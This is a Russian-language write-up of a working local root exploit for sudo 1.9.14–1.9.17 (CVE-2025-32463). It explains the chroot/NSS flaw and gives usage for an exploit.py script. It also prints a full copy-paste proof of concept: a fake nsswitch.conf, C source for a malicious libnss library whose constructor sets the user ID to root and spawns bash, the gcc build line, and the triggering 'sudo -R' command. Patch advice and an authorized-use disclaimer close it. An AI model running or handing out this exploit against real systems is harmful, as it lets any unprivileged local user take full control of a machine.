
Эксплойт локального повышения привилегий для sudo 1.9.14–1.9.17, который эксплуатирует обработку chroot в CVE-2025-32463, внедряя конструктор вредоносной библиотеки NSS для запуска root-оболочки для любого локального пользователя.
Локальное повышение привилегий до root в sudo через опцию --chroot (-R). Работает для любого локального пользователя, включая учётные записи вообще без записей в sudoers (например, www-data).
sudo 1.9.14 – 1.9.17 выполняет chroot() в указанный пользователем каталог в то время, когда политика sudoers всё ещё оценивается — то есть до принятия решения об авторизации. После этого chroot() NSS-запросы sudo читают /etc/nsswitch.conf изнутри chroot-окружения атакующего, и glibc превращает поддельное имя источника в dlopen("libnss_<name>.so.2") — библиотека загружается, и её конструктор выполняется от имени root.
Размещение поддельного nsswitch.conf (passwd: /woot1337) вместе с вредоносной libnss_/woot1337.so.2, чей ELF-конструктор выполняет setreuid(0) + exec("/bin/bash"), даёт root-оболочку. Эксплойт срабатывает до проверки sudoers, поэтому вызывающему не требуются привилегии sudo.
1.9.14 – 1.9.171.9.17p1 (изменение chroot из 1.9.14 было отменено; функция объявлена устаревшей)Стандартная библиотека Python 3, уязвимый setuid-sudo (1.9.14–1.9.17) и gcc на целевой системе (для сборки небольшого модуля libnss). Запускать от имени непривилегированного пользователя.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 (+ копия /etc/group).libnss_/woot1337.so.2 — ELF-файл, чей конструктор (__attribute__((constructor))) выполняет setreuid(0,0) и execl("/bin/bash", …).sudo -R woot woot — sudo выполняет chroot в woot, производит NSS-запросы, загружает libnss_/woot1337.so.2 через dlopen от имени root, и конструктор даёт root-оболочку — ещё до того, как sudo проверит, авторизован ли пользователь.Канонический ручной PoC (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
Обновите sudo до версии ≥ 1.9.17p1. Функция chroot устарела, и на неё не следует полагаться.
Только для авторизованного тестирования безопасности и обучения. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.